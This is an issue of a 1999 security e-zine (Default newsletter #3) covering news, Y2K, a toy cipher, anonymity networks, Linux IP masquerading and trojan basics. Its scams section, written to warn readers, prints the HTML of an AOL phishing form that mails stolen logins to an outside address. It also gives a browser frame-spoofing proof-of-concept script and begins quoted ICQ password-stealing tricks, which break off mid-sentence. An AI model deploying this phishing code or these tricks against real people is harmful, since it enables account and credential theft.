Power Hacker 2003

home *** CD-ROM | disk | FTP | other *** search

/ Power Hacker 2003 / Power_Hacker_2003.iso / E-zine / Magazines / default / default3.txt < prev next >

Wrap

Text File | 2002-05-27 | 57.9 KB | 1,379 lines

-------------------------------------------------------------------------------- Default newsletter Issue #3 http://default.net-security.org 27.08.1999 Help Net Security http://www.net-security.org -------------------------------------------------------------------------------- TABLE OF CONTENTS ----------------- I. Editorial II. Last weeks news on Help Net Security a) Help Net Security news headlines b) Defaced Pages III. Y2K: As the millennium approaches IV. A look into basic cryptography V. Internet privacy: Freedom Network VI. Macintosh Security: F33r my hybride M4c, I'm coding! VII. Computing: A closer look at hard- and software VIII. Linux: IP Masquerading IX. Infection and vaccination X. Freedom of speech - related incidents XI. Scams - Getting something by all means XII. Intrusion and detection part two I. Editorial ------------ Hey people. We received good comments on Default newsletter from both individuals and security professionals. We have only 2 issues behind, but we will be even better (of course with your feedback and help). If you would like to write an article for Default newsletter please do e-mail us. Any help is appreciated. As you can see, this issue is little bit shorter. That is because Doug Muth didn't came yet from his holidays and Thejian and me were so busy this week. So do expect next Default newsletter to be bigger and better than the previous ones. In case you want to mirror Default newsletter on your site e-mail us also;) Subscribing to Default newsletter: send an e-mail to majordomo@net-security.org with a body message subscribe news your@email Berislav Kucan aka BHZ, webmaster Help Net Security bhz@net-security.org Xander Teunissen aka Thejian, co-webmaster Help Net Security thejian@net-security.org II. Last weeks news on Help Net Security ---------------------------------------- a) Help Net Security news headlines - Friday 20th August 1999: Default #2 released ABC compromised Belgian bank compromised Intel extends on-line privacy ban Homophobic web site "stolen" by hackers? Indonesia responds to cyber war threats Watching workers Carding in Newcastle - Saturday 21st August 1999: Linux trojan in portmap.c FTP.exe overflow Biometrics in prisons Office 2000 also vulnerable to Jet flaw Former CIA director kept state secrets on home PC Furor rising over PV wiretap plan Student draws first net piracy conviction - Sunday 22nd August 1999: MS security bulletin #30 Sun says US army is testing Jini Hardencrypt E-commerce group formed to combat fraud ReDaTtAcK busted - Monday 23th August 1999: Firm nabs cracker with intrusion detection tool First Net convict will do no time GAO risk-assessment report Sprint plans service to detect viruses US Government and inavasion of privacy East Timorese domain host denounces cyberwar Secure your web site DOD speaks on Y2K Bomb for Microsoft manager - Tuesday 24th August 1999: ISS X-force advisory on Lotus Domino server 4.6 Technology keys to tracking down Internet crime Govt. home-invasion bill Hackers scanning for trouble Norton AntiVirus 2000 is out Secret searches from DOJ SSL CPU consumption causes concerns Unix: It doesn't need to be so insecure - Wednesday 25th August 1999: Shoutcast compromised HK police to establish computer crime team Smith admitted to creating Melissa New IE5 bug worst then ever? Audit office blasts agencies' serious security flaws Malicious attack on linux-kernel mailinglist More cyber-war threats - Thursday 26th August 1999: Taiwan circles wagons in cyber-warfare UK webhosting company hit by virus Netscape issues web-server fix Windows and bugs? Nooooo? CWI cracks 512 bit key Mounting an anti-virus defense Tracing stolen computers through RC5 Self destructing e-mails? Nice Y2K problems in Pakistan Retrospective on cracking contest Y2K test http://net-security.org - Daily security related news http://net-security.org/news - News archives http://net-security.org/headlines.shtml - Add HNS headlines to your web-site b) Defaced pages: (mirrors provided by Attrition (http://www.attrition.org)) Site: Red Hat Indonesia (www.redhat.or.id) Mirror: http://default.net-security.org/3/www.redhat.or.id.htm Site: Official Web site of Limp Bizkit (www.limpbizkit.com) Mirror: http://default.net-security.org/3/www.limpbizkit.com.htm Site: Monica Lewinsky's site (www.monicalewinsky.com) Mirror: http://default.net-security.org/3/www.monicalewinsky.com.htm Site: Madison Square Garden (www.thegarden.com) Mirror: http://default.net-security.org/3/www.thegarden.com.htm Site: The State University of West Georgia (www.westga.edu) Mirror: http://default.net-security.org/3/www.westga.edu.htm Site: Rock.com's Rolling Stone's Web site (www.stones.com) Mirror: http://default.net-security.org/3/www.stones.com.htm III. Y2K: As the millennium approaches ------------------------------------- These weeks' Y2K headlines: The computer network used by many Vermont police agencies and other emergency services went down for two days this week while technicians were preparing the system for the year 2000. While it was down, prosecutors had problems getting police paperwork, reporters couldn't get routine releases, and motorists needing copies of accident reports were out of luck. Officials do not yet know why the computer crashed. They do know it happened as technicians were upgrading the system to prepare for Y2K. It took more than two days to get the system running again. In the meantime, much of the record-keeping had to be done the old-fashioned way: with pen and paper. PC Week reported about MS Excel Y2K problems: "Unless users of Microsoft Corp.'s Excel download scanning tools from the company's Web site, their spreadsheets could go haywire when they open their files on Jan. 1. A Boston-based technology management consulting company has found that an Excel year 2000 error causing drastic math errors went undetected by a handful of Y2K analysis tools. The core of the problem is that Excel versions through Excel 2000 have a DATE() function that treats all two-digit years as 20th-century dates, regardless of how Excel is configured to handle two-digit dates. As a result, spreadsheets that use the DATE function are particularly vulnerable to Y2K problems. (By default, Excel 97's and Excel 2000's other date functions, as well as the software's data entry routines, treat two-digit dates less than 30 as part of the 21st century)" The Millennium Bug that promised to swell U.S. courts with lawsuits arising from damage that may occur if a computer system fails to recognize the Year 2000 so far has resulted in only 74 cases filed, according to a report released Monday by PricewaterhouseCoopers. The trickle has the potential to turn into a full fledge flood after the clock strikes midnight 1999, some experts said. As of June 30, there were only 74 cases filed in state and federal courts against 45 defendants that related to the Year 2000 computer glitch (Y2K), according to the report. Karen Shaw completed her 39-day trek across the state in which she set out to promote Y2K awareness to rural residents of Oregon. 49 year old teacher started her journey to show others that Y2K is coming very soon, and they must be prepared. Shaw left Medford with only $20 but said she lived on the generous donations of food and cash from people she encountered along the way. She said: "I did not come across any panicked people, but very practical, grounded, spiritual, caring people who are just doing what their hearts tell them to do". Hundreds of people in Japan complained Sunday after their automobile navigation systems went haywire - the result of a Y2K-like glitch in the satellite system used in navigation devices worldwide. Screens went blank and bizarre symbols turned up on the electronic navigators, essential for millions of drivers in a country where urban streets are a chaotic jumble. Pioneer Corp, a major manufacturer of car navigation systems, received about 600 calls on its help hotline, said company spokesman Hidehiko Shimizu. Shimizu said callers were directed to the nearest repair shop, where their systems were fixed for free. Y2K TOOLS --------- TITLE: Outlook Express Year 2000 Update SIZE: 140 Kb TYPE: Freeware REQUIREMENTS: Windows 95/98/NT, Outlook Express 4.01 DOWNLOAD: http://default.net-security.org/3/en-x86-Q234681.exe INFO: Part of Windows 98 Service Pack 1, this program will resolve a year 2000 issue with Outlook Express 4.01. The year 2000 issue occurs when receiving an IMAP mail message or a News message with a two-digit year as the sent date. The date can be misinterpreted under certain conditions. For example, if the two-digit year is anything other than '99, Outlook Express assumes the century value is the same as the current century. If the current year is 2000, and a two-digit date is received as '97, then the year will be interpreted as 2097. However, there is one special case when different logic is applied. If a two-digit year of '99 is received and the current year is a multiple of 100 (e.g., 2000), the year will be interpreted as the current year plus 98 (e.g., 2098). Berislav Kucan aka BHZ bhz@net-security.org http://net-security.org IV. A look into basic cryptography ---------------------------------- This is where I left off when I was working on the HOWTO last.... so from here on in is new and (slightly) improved. I probably have my terminology wrong, but the next is what I think is called an output feedback cipher. It takes the output from one step of applying the cipher, and uses that to apply the cipher to the next part. This is the most simple method of an output feedback that I could think of. First index the alphabet in some manner, it could be using ascii values, or it could be a simple 1-26 method (I suggest ascii because then you will allow for punctuation, I used a simple 1-26 because it is easier to explain the cryptosystem). A=1 B=2 C=3 D=4 E=5 F=6 G=7 H=8 I=9 J=10 K=11 L=12 M=13 N=14 O=15 P=16 Q=17 R=18 S=19 T=20 U=21 V=22 W=23 X=24 Y=25 Z=26 This is a very basic transposition cipher as is, but will soon change. The algorithm in mathematical terms is: (N+P(1))%26=C(1) (N+C(1)+P(2))%26=C(2) (N+C(2)+P(3))%26=C(3) (N+C(3)+P(4))%26=C(4) ... (N+C(r-1)+P(r)=C(r) This may seem complicated, but its not. N is a random number that will be passed on as a key. I suggest a larger number to protect yourself from a brute force attack. Do not use a number divisible by 26. In fact, for safety's sake, try using a larger prime, or a product of two smaller primes. C(1) is the first ciphertext letter P(1) is the first plaintext letter r is the total number of characters in the message. % is the mathematical symbol for the function modulus. Modulus is like the remainder after dividing an integer by another integer. So 28%26=2 and 942%26=6 (if your calculator doesn't handle modulus, a simple way to do it would be... 942/26=36.2307692307692307692307692307692 36.2307692307692307692307692307692-36=.2307692307692307692307692307692 .2307692307692307692307692307692*26=6 (round, your calculator cant handle these decimals -windows calc in scientific mode can handle modulus, the key you are looking for is Mod) You take your message. Lets take the word hello for simplicities sake. HELLO first change it to corresponding numbers. 8 5 12 12 15 our key number will be... 73. (once again, I suggest a more secure key number than this, but this will serve our purposes well.) 1 2 3 4 5 8 5 12 12 15 Restate the Algorithm... (N+P(1))%26=C(1) (N+C(1)+P(2))%26=C(2) (N+C(2)+P(3))%26=C(3) (N+C(3)+P(4))%26=C(4) ... (N+C(r-1)+P(r)=C(r) And begin applying the algorithm: H (73+8)%26=3 E (73+3+5)%26=3 NOW you see the power of a more complicated cipher. Here 3 stands for both H AND E L (73+3+12)%26=10 L (73+10+12)%26=17 Once again, the power of a more complicated cipher. while 3 stands for both H and E, L is represented by both 10 and 17. O (73+17+15)%26=1 3 3 10 17 1 Then take these numbers, and transfer them back to letters. A=1 B=2 C=3 D=4 E=5 F=6 G=7 H=8 I=9 J=10 K=11 L=12 M=13 N=14 O=15 P=16 Q=17 R=18 S=19 T=20 U=21 V=22 W=23 X=24 Y=25 Z=26 CCJQA Now you ask how do you get back to the original "HELLO"? Well first you need to find a way to tell someone the key number.... I suggest appending it to the beginning of the message, go back to how it was in numbers. (Note, if someone knows the method you used to hide the key number in the message, the security of the message is lost. This is the case with all single key cryptosystems.) 3 3 10 17 1 here the code number was 73. that's 2 letters. add 2 7 3 to your message in the beginning 2 7 3 3 3 10 17 1 then make it the text B G C C C J Q A send that to someone. They extract the numbers, and then the key number of 73. Here's an idea, I will make this section somewhat interactive. If you can decrypt this message back to the original text of HELLO, please send your analysis of how to decrypt it using mathematical terms to crypto@net-security.org. Ill go over all the emails and post who was first, and then go over it in the next issue. Have fun. -Iconoclast V. Internet privacy: Freedom network ----------------------------------------- The Freedom Network plays an integral role in Zero-Knowledge's absolute privacy solution - Freedom. Here's a quick look at what exactly the Freedom Network is and what it does. You'll often hear Freedom referred to as client/server software, but what does this really mean? Well, the "client" part is the software you install on your personal computer and the "server" part is the software that runs the Freedom Network. The Freedom Network is a series of servers distributed among ISPs and organizations around the world. Internet traffic normally travels from source to destination unsecured (i.e. not encrypted) while passing through certain servers which can be easily identified. This is like sending confidential information using a postcard - anyone who handles the postcard knows the sender, the recipient and the contents. This unsecured delivery system makes message interception, falsification and tracking possible. To solve this problem, Freedom encrypts all Internet traffic and routes it through a series of anonymous Freedom servers, known as the Freedom Network. Each server in the chain knows only the previous and following servers in the path, and nothing about the traffic (data) that it's handling. This makes the system extremely secure since no single server knows both the origin and the destination of the traffic. In fact, no one, not even your ISP, can monitor your web activities. Does My ISP Need A Freedom Server For Me To Use Freedom? It's important to note that your ISP doesn't need to run a Freedom Server for you to enjoy the benefits of Freedom. If they do opt to host one, however, you may notice an increase in browsing speed while running Freedom. This will be explained in greater detail in the next section. - Network Speed We often talk about what effect running Freedom will have on your Internet connection speeds. These are also known as "latency" issues. Freedom employs a number of systems to foil any attempts at analyzing Freedom user's Internet activities. The net effect of these systems can result in slightly slower connection speeds for some users. The exact latency, if any, that a user will experience while running Freedom depends on many factors, including; - proximity to a Freedom Server - geographic location relative to the Internet backbone - the speed of your connection - random Internet bottlenecks or "traffic jams" When a user running Freedom connects to the Internet through their ISP, that connection will use a greater amount of bandwidth than a non-Freedom connection. As mentioned above, this is due to the extra systems Freedom employs to ensure user privacy. This extra bandwidth consumption will be more taxing on an ISP's servers as the Freedom user's traffic passes though their system on its way to the first Freedom Server on the Freedom Network. If, however, the user's ISP is hosting a Freedom Server, that server will be able to intercept this traffic much earlier, thereby streamlining the entire process. This, in turn, will result in quicker connection speeds for the Freedom user. To sum up, the closer a Freedom user's computer is to the first Freedom Server, the less latency a Freedom user will experience. Since the closest a user can possibly get to a Freedom Server is if their ISP is running one - alerting your ISP to the benefits of running a Freedom Server is a good idea! :-) For an up to date listing of worldwide Freedom Server operators, please visit: http://www.zeroknowledge.com/partners/founders.asp Please keep in mind that this list gets bigger every day as more server operators sign up so be sure to check back often. - Security Issues "How is it possible that my ISP can't monitor my activities since all my communications pass through their servers?" Simple - all the data leaving your machine is encrypted using strong crypto, which means that no one, not even your ISP, can watch what you're doing. In fact, whether you're sending email, surfing the Net, chatting or posting to newsgroups, Freedom ensures that your activities remain private! Why should I trust your security when other supposedly invulnerable codes and systems have been cracked? - Software Zero-Knowledge uses established public algorithms that have proven to be impervious to attack. Well-known public algorithms like Diffie/Helman, Triple DES, Blowfish and others ensure that the system will remain secure. ZK is uncompromising in its testing and implementation of encryption technology, using only established algorithms with unbreakable bit lengths - we do NOT cut corners. - The More Bits, The Stronger The Encryption As a Canadian company, ZK can export encryption technology far stronger than the US Government's 56-bit encryption export standard. A document encrypted with 56-bit key length would have 72,057,594,037,927,900 possible keys. Freedom's encryption begins at 128-bit key length, meaning it has 340,282,366,920,938,000,000,000,000,000,000,000,000 possible keys. A supercomputer capable of trying one million keys per second in a brute-force attack would require 10,000,000,000,000,000,000,000,000 years to find the right key. That's a long time. - Personnel A number of experts in the field of privacy and cryptography have estimated that there are perhaps five people in the world capable of designing and lending credibility to a system of this complexity. ZK Chief Scientist Ian Goldberg appears on that short list. ZK sought out Mr. Goldberg because of his reputation for cracking other supposedly secure systems. As a grad student at USC Berkeley's Internet Security Applications Authentication and Cryptography Group, Ian cracked the 40-bit DES code in the RSA Data Security Challenge in just three and a half hours. He also earned international recognition for his part in breaking the Netscape SSL encryption system, as well as the cryptography system used in the GSM cellular phone standard. - Peer Review Freedom has always been and will continue to be opened up for independent review by acknowledged industry experts. -- Bruce Schneier of Counterpane Systems will audit the source code line-by-line to ensure that no cracks, holes or errors exist in the encryption implementation. Mr. Schneier, another short-list member, is well-known as a veteran cryptographer and author of Applied Cryptography: Protocols, Algorithms, and Source Code, widely recognized as the bible of cryptography. Complete Privacy ZK puts its customers' privacy first - with no exceptions. Unlike key-escrow or third-party systems, Zero-Knowledge (as implied by its name) is unable to determine who is behind a given pseudonym -- even under threat of force. Jordan Socran Zero Knowledge Systems (http://www.zeroknowledge.com) VI. Macintosh security: F33r my hybride M4c, I'm coding! ------------------------------------------------------------- Most underground mac users are facing the same problems: only very few people are actually coding network security tools on Mac. The main reason is that coding a tcp/ip stack would take hundred of lines just to initialize. Today many products are offering a easy approach to programming, developing a project in RealBasic (http://www.realsoftware.com) is much more easier than in CodeWarrior (http://www.metrowerks.com) even if each have sepecificities and use different language. Security software are ,usualy, not very big since they're focused on one type of vulnerability. It takes a long time to code, to debug a program.Another way to create your own tools is to use other languages, faster to code and to use. Many cross platform languages exist.Most useful are C/C++, Visual Basic, perl, ph3, java, rebol and much more. Rebol is a new great language 100% network oriented (http://www.rebol.com), it easy to code. You can do many things from basic mail client to databases, table builder, port scan. In few minutes you can build for example a scanner for a remote vulnerability on ip ranges. I made few month a cgi-check like in rebol, it scans around 70 famous vulnerabilities it took few minutes to adapt it from a C source. Plus the code is used by a virtual machine (available for 17 OS), and it quiet fast. Don't expect an well designed software with full of color because it's commande line only. Another language is perl. Many sources are available in the security domain, you can easily use those with Macperl and or with a local webserver. Make sure those sources are likely to be used on your os to even think about using a firewall admin tool in perl.... Anyway if you plan to use other languages that can't run on MacOs you can use a emulation, or install Linuxppc. The macintosh with tools like "realbasic" allow you to build software in an almost ligne free of code way.Everything is performed graphically, except all commands. The compiler allows to build software for macOs and for wintel. For java it's more difficult to code even if tools jdk are available for mac. It'll ask you alot of patience.If you just start programming, and want to learn fast you'd better start with RealBasic.Many people from the mac underground scene code with realbasic, for example Portsniffer (http://software.theresistance.net) is a great product.It's one of the fastest port scanner I've ever seen on Mac. Another alternative is MacOX, a unix like made by Apple.Many unix tools are available or usable on this OS.It's a Unix easier to configure since MAcos computer have less type of hardware. Before you choose any languages you'd better learn how to code, sometimes it takes years to claim to know a language.Don't for get that only the limit you have is your imagination! deepquest deepquest@default.net-security.org All rights not reserved- Serving since 1994 http://www.deepquest.pf VII. Computing: A closer look at hard- and software ---------------------------------------------------- Intel Celeron CPU has been introduced at the end of June 1998 with the version at 266 MHz of clock, aiming at balancing the success of AMD K6-2 processor released a month before. It used the Deshutes Core at 0.25 microns of Pentium II CPUs but it didn't have L2 cache; this technical solution allowed to obtain high performance with floating point calculation due to the floating point processing unit (FPU) identical to that used with Pentium II CPUs, but it is a big gap with integer calculations, both in comparison to K6-2 and Pentium II, due to the lack of L2 cache. In July 1998 the version at 300 MHz of clock has been released always without L2 cache, while at the beginning of September the versions 300A and 333 MHz have been launched, with L2 cache at 128 Kbytes working at the clock frequency (against 512 Kbytes at half clock frequency of Pentium II CPUs) and put within the Core of the processor (on die). The introduction of the L2 cache allowed to reduce the gap with performance with integer calculations of the previous versions of Celeron CPUs making this processor a perfect solution in every field. The technical features of Celeron CPU up to September 1998 can be summarized as following: ╖ Deshutes core at 0.25 microns (as for Pentium II CPUs), which is called Mendocino for CPUs including L2 cache and Covignon for those without L2 cache; ╖ L1 cache at 32 Kbytes divided in two parts each with 16 Kbytes respectively for instructions and data (as for Pentium II); ╖ L2 cache at 128 Kbytes working at the clock frequency and put on die (in Pentium II it amounts at 512 Kbytes working at half clock frequency and put on the processor cartridge, outside the cpu's Core); ╖ Frequency multiplier locked both upwards and downwards; ╖ Bus frequency at 66 MHz against 100 MHz of Pentium II CPU; ╖ SEPP package, that is based on cartridge and use of Slot 1 motherboard (the same used by Pentium II CPUs). Intel marketing has always maintained a low cost for Celeron processors, on one side to compete with AMD K6-2 on low-end market, on the other to avoid to add an expensive product to Pentium II. Let's note two aspects: ╖ Celeron uses a bus frequency of 66 MHz while that of Pentium II is 100 MHz; if in practice the differences in performance between the two solutions, with the same clock frequency, are reduced, to the user the first seems to be cheaper, while the second seems to be more "professional" so many buy systems based on Pentium II with more profits for Intel. ╖ The performance of Celeron Mendocino and Pentium II, with the same clock frequency, are almost aligned; Pentium II has a big advantage if used with server, where the presence of L2 cache 4 times bigger, even if working at half clock frequency, is evident. For this reason, Intel has always maintained an high clock difference between the to CPUs, so to avoid that power users buy Celeron with higher frequency, less profitable than Pentium II. At the beginning of 1999 a new version of Celeron Mendocino CPU has been released; if the technical features are the same, the package of the CPU, that is SEPP one, has been substituted by a PPGA one: SEPP Package: it is installed on Slot 1 and it is similar to a Pentium II CPU without external plastic cover; note in the middle, the CPU core and the space on its sides where there are the chips of the L2 cache with Pentium II CPUs. PPGA Package: very similar to a Pentium MMX CPU it is more compact in comparison the SEPP version and it is installed on Socket 370. Officially the reasons which led to the introduction of PPGA package aimed at reducing the production costs of the processor, as the SEPP package, an heritage from Pentium II, wasn't worth to exist anymore as the L2 cache is anymore put on it but directly within the CPU Core. Another reason, linked to marketing, is that of making the processor market more selective: Slot 1 for more "professional" systems based on Pentium II and Pentium III processors, Socket 370 for those cheaper based on Celeron CPU. Up to the version at 433 MHz both variants of Celeron, SEPP and PPGA, were available, while from the version at 466 MHz on SEPP was almost completely abandoned. Celeron CPU was very successful due to its general performance in every field and to its high overclockability which characterized almost every version; with these processors it was possible to achieve high clock frequencies, higher than those of Pentium II processors, with a very reduced investment. This article aims at checking the overclockability of Celeron CPU and finding, where possible, which is the best version of Celeron CPU in comparison to the price and the performance. Damir Kvajo aka Atlienz atlienz@default.net-security.org VIII. IP Masquerading: Multi-computer access to a network via single interface on the server ----------------------------------------------------------------------- IPmasq basis: When you set up IP Masquerading system on your Linux servers, other machines on the *local* network will be able to use the single network interface on the server. The most common usage is to provide internet access to other machines, which do not have their own connection. The difference between Linux IPmasq and Windows tools (i.e. Wingate) The is a big difference between the two. IPmasq is the "IP forwarding system", while Wingate acts as a proxy. So, to make the machine use the wingate, each application has to be configured separately, while to use IPmasq, one just have to set up a "default gateway" for the machine. Further adjustments of client permissions are set on the server side (by modifying the firewall rules). Also, IPmasq is capable of forwarding any kinds of protocols, even those which does not have a special IPmasq helper application. Kernel options.. To enable IP masquerade in the kernel, select: - ip firewalling- packet filter firewall on a Linux box - ip always defragment- neccessary for ipmasq to work. The packet is defragmented (put into one piece from the network fragments) on the server and then goes "to the court". - ip masquerading- actual ip masq support - transparent proxy support- by selecting this option, client machines think they communicate with the end server, while infact it is a local proxy. - ICMP masquerading- adds IPmasq ICMP support (without this, the system does it only for UDP, TCP (and ICMP errors). - ipmasq special modules support - ipautofw masq support - ipportfw masq support (optional) - optimize as router Tools to get: - ipmasq (the automatic ipmasq script, very useful, just be sure to get the new one with the ipchains support in it) - ipchains - ipautofw - ipportfw - ipmasqadm (special modules support) Once you are finished with the kernel configuration, compile it and install the new kernel. Add: echo "1" > /proc/sys/net/ipv4/ip_forward to some of your system initialization scripts (or do it manually). After you raise the interface you want others to use (usually ppp0), just run "ipmasq" to recompute firewall rules. By default, IPmasq allows only the local network to use the interface. Client side adjustments: Linux: as root, execute: route del default; route add default gw your.servers.ip.address You can see the current routing table by issuing "route", active connections with "netstat", interfaces with "ifconfig" Windows: as any user (9x) click Start->Settings->Control panel->Network-> TCP/IP-network device and in the Gateway tab, add your server's IP to the list. dev dev@net-security.org IX. Infection and vaccination ---------------------------- Since school is back in for a lot of people, the number of trojans being made/updated has decreased(same with the length of this article). So, this is the first of a few articles that simply explain general info about trojans, to help remove them. We also have info on the new LockDown 2000. As most people know a trojan is a program that says it will do something and then does something else. Currently the only security hole trojans take advantage of is someone willing to run a program. Here is the general way most trojan infect people: 1. Someone is tricked into running the trojan 2. Then it copies to another location 3. After that it starts listening for connections 4. Writes to the registry so it will load with Windows Windows lets programs autoload when booting many different ways. Just about everyone knows about the startup folder on the start menu. Most trojans don't use this method, though we have seen at least one that did. Another autoloading method is via the registry. This is the most common way a trojan uses to start with windows. While lesser known is the win.ini and even system.ini. A common thing to do among trojan users is to "bind" the trojan they want to infect someone with. Binding allows them to make a harmless program into a dangerous one. Popular trojans such as DeepThroat and SubSeven come with such tools. While many separate tools exist and are easily found that do the same(such as silkrope). Binding also makes it more difficult to be picked up by virus/trojan scanners, but it still is possible. We are lucky to view and get info on LockDown 2000 Version 4.0 Pre-Release. This version fixes some minor bugs and adds some more control to the user. Also another handy feature is upon exiting it saves the configuration changes you made. Plus the trojan count has been increased to 378. Unfortunately the price is still probably high at 99 US dollars. We also have not had the chance to personally test it, maybe by next week we can. zemac zemac@dark-e.com http://www.dark-e.com X. Freedom of speech - related incidents ------------------------------------------ ******************************************************************* Independence is my happiness, and I view things as they are, without regard to place or person; my country is the world, and my religion is to do good. - Thomas Paine ******************************************************************* Every day the battle between freedom and repression rages through the global ether. Here are this week's links highlights from NewsTrolls(http://www.newstrolls.com): ---------------------------------------------------------------------- Weekend August 20-22 US redoubling efforts to <http://dailynews.yahoo.com/h/nm/19990820/ts/technology_covert_3.html> invade encrypted privacy And the US DOJ wants easier <http://www.washingtonpost.com/wp-srv/business/daily/aug99/encryption20.htm> covert action capabilities ----------------------------------------------------------------- Monday August 23 Recently freed Lafitte says the World Bank is to blame <http://www.insidechina.com/features.php3?id=87242.> for the detentions... "Lafitte, a Tibetan expert, said he had grave fears about the safety of his local translator, Tsering Dorje, and for Meston, who reportedly suffered spinal and internal injuries when he jumped from a building while trying to escape police. "The World Bank must bear direct responsibility for what happened and must act with its unique leverage as the biggest provider of capital to China to do something to help both the American, who is in trouble but at least has the American government to help him. "And particularly I feel it's the responsibility of the World Bank to do something for our translator, who has no government he can turn to...to protect him," he said." Under Chinese detention for investigating World Bank program, <http://www.washingtonpost.com/wp-srv/inatl/feed/a30394-1999aug23.htm> Meston, an American, somehow fell out of a 3-story building and broke his back... "The men assigned to monitor Lafitte told him at least three times that he was lucky he was Australian, and not American, because the United States had bombed China's embassy in Belgrade. "America is always trying to hold us back, trying to make us weak," he recalled one saying." ------------------------------------------------------------------- Tuesday August 24 The Federal Reserve Board's opposition to <http://www.innercitypress.org/frreport.html> the Freedom of Information Act... Thousands of Mexican Indians and Zapatista supporters <http://asia.yahoo.com/headlines/240899/world/935433360-90823183648.newsworld.html> march in protest against military presence in Chiapas African consumers speak out on <http://www.africanews.org/atlarge/stories/19990823_feat5.html> product dumping and market liberalization at their expense... "According to Consumers International, consumption per capita in Africa has gone down by 20 percent over the past 20 years. Under the current exchange system, Least Advanced Countries will lose up to 600 million US dollars per year. This painful reality is contrary to the main objectives of the WTO charter, which requires signatory parties to recognise that the objective of their trading and economic relations must be to raise the living standards of the populations through employment of higher incomes. This is why African consumer organisations have been pressing decision makers and multinational companies to stop regarding consumer rights as a hindrance to trade and investment." ---------------------------------------------------------------------- Wednesday August 25 Iran paper calls for <http://asia.yahoo.com/headlines/250899/world/935575740-90825100957.newsworld.html> pre-election live TV debates... "The Iran News also said conservative-dominated state television has "shied away from the clash of ideas" and that its programming has "not been able to quench the public thirst for more accurate and impartial information."" He Zhaohui, 32, labor activist gets 10 years in prison for <http://www.insidechina.com/news.php3?id=87778> "providing information to overseas organizations" "He, who organized over 10 workers' demonstrations in Chenzhou in 1997 and 1998, reported workers' protests in the province to democracy movements and human rights organizations in the United States, the center said." Over 10,000 pro-independence demonstrators <http://asia.yahoo.com/headlines/250899/news/935568600-90825081041.newsasia.html> rally in Dili ahead of East Timor elections... More on <http://news.bbc.co.uk/hi/english/world/asia-pacific/newsid_429000/429563.stm> the rally... "One of the organisers, Agio Pereria, said a clear message was being sent to anyone planning to sabotage the ballot and abort the consultation process. "Don't stop our people to reach the ballot box, because this is a right," he said. "Each individual has his or her right to exercise the right to vote in peace. And we hope that this is the message that we send today." diva aka Pasty Drone NewsTrolls, Inc. , http://www.newstrolls.com pastydrone@newstrolls.com XI. Scams - Getting something by all means ------------------------------------------ This article will talk about common light Internet scams that could happen to everyone who is not careful (but do note that they will often happen to the people who have not great knowledge in computers, especially in some basics of Internet surfing. I don't know but lot of wannabe "hackers" think that they must start with hotmail or yahoo hacking. They want to get someone's e-mail password so they could read his e-mail, tease the "victim" and to get some passwords (like if the victim has registered a webpage with corrupted e-mail, attacker could easily snatch it). Even when I started working on net-security, I got lot of e-mail saying like: "Help me to hack a hotmail account". Better advise to this people is to start learning something that could really be useful to them. (1) Hotmail "hacking" (this one is almost legendary, because this "way of hacking" could be found on almost every Usenet group which has hack in its topic. <********************************************************************> First, start with opening your own hotmail address. Select compose. Type in : To: emailoftheattacker@hotmail.com Subject: HTM.MSN.PW.REQ (It is absolutely necessary to type in CAPITALS - subject headers are case sensitive ) Message: [First line] The login name of the person you want to hack [2nd line] Your own password. Because the automatic hotmail responder will require your "systemadministrator password" which is in fact are your own password! But the computer doesn't know that [third line] x3iZ0k45-MSN-6TqGW-reqf47890sys (case sensitive) How it works: You mail to a systemadministrators automatic responder. Usually only system administrators should be able to use this ( when for example getting lost passwords ), but when you try it with your own password and mail the above explained message from your hotmail account the computer gets confused! MSN will respond with an automated message indicating the password requested NOTE that if the message you send MSN is composed incorrectly, or there has been a change in the status of the user queried, you may not get an automated response In this event, you will need to resubmit the request. This "trick" usually takes about 4 hours to get a reply of. <********************************************************************> I am sad to say, but according to the critics of victims on usenet, this fraudulent activity works on someone. This whole story with sending your own password is bogus and it isn't also very imaginative. I came across this page on Geocities, and it is just a little bit modernized version of an old fraud, that we wrote about on net-security, exactly 10 months ago (sending your password was then explained like this: "By doing this, the computer which receives the email believes you are a Hotmail System administrator, and sends you the password you require within 1-2 hours"). (2) AOL web fraud I came across on this trick, by reading attrition's mirrors of hacked pages. Originally the site for this scam was on www.arodnet.com with a backup on pages.hotbot.com server. Just to note that this page is as I'm writing this defaced again. So when you access this page it gives you exactly the same look as the AOL NetMail site (www.aol.com/netmail). You have a form where you can enter Screen Name and appropriate password. When you enter it, form doesn't do what you think it is supposed to do: it sends an e-mail message to the creator of it with your login and password. Code follows: <********************************************************************> <form action="http://bewoner.dma.be/bew-bin/ukmailer.cgi" method=POST> <INPUT TYPE="HIDDEN" NAME="recipient" VALUE="sabbs@hotmail.com"> <input type=hidden name="subject" value="You've Got Mail"> <input type=hidden name="redirect" value="http://pages.hotbot.com/biz/ deity/error.html"> <********************************************************************> So it sends your information and you get a html note that you entered the wrong password and it redirects you to the REAL Net Mail log-on site. On this way, if you were not too cautious, you shared your info, and you don't have a clue that you did it. Just to add - Scammers obtaining a screen name or password could potentially do considerable harm on an AOL member's account. An account violator could use the member's communications features, such as email and the instant messenger buddy list, or even purchase goods with the member's credit card. I was thinking about how this fraud trick could be even more realistic. Well when you enter the password, new html file opens that says that you must try again, and the Address bar in this issue says: http://pages.hotbot.com/biz/deity/error.html If you add some Java script and if you know for frame spoofing vulnerability, you could improve the scam to maximum. Frame spoofing vulnerability is found by Georgi Guninski and it "works" on Internet Explorer 4.x browsers (the bug was patched afterwards). This example opens a fake www.yahoo.com website. <********************************************************************> <SCRIPT> b=showModalDialog("about:<SCRIPT>a=window.open('http://www.yahoo.com'); a.document.write('<HTML><HEAD><TITLE>Yahoo</TITLE><BODY></HEAD><H1>Look at the address bar!<BR>');a.document.write('<A HREF=\"http://www.whiteh ats.com/guninski\">Go to Georgi Guninski\\'s home page</A></H1></BODY> </HTML>');close()</"+"SCRIPT>%01http://www.yahoo.com"); </SCRIPT> <********************************************************************> All this information about successfully using Frame spoofing vulnerability with this scam is presented in educational purpose, for you, to see that you must be real careful, because with some little tricks you could be deceived easily. (3) ICQ password stealing If you are non-suspicious, you could easily lose your ICQ password. This is the "ICQ exploit" that could be found on some "underground sites on the Internet. It isn't really an exploit, but just a way to get someone's ICQ password easily. <********************************************************************> Ok..the trick to this is to trick someone into putting your email address as their email address..and then you goto www.icq.com/password and type in their UIN..it sends their password to the email in their info..now here are a few tricks to get them to put your email or any email you know the password to in their ICQ info.. 1)you have a klan? Ask them to join..if they do..tell them you have a klan email..(yourklan@hotmail.com)or whatever tell them to put that as their email so people 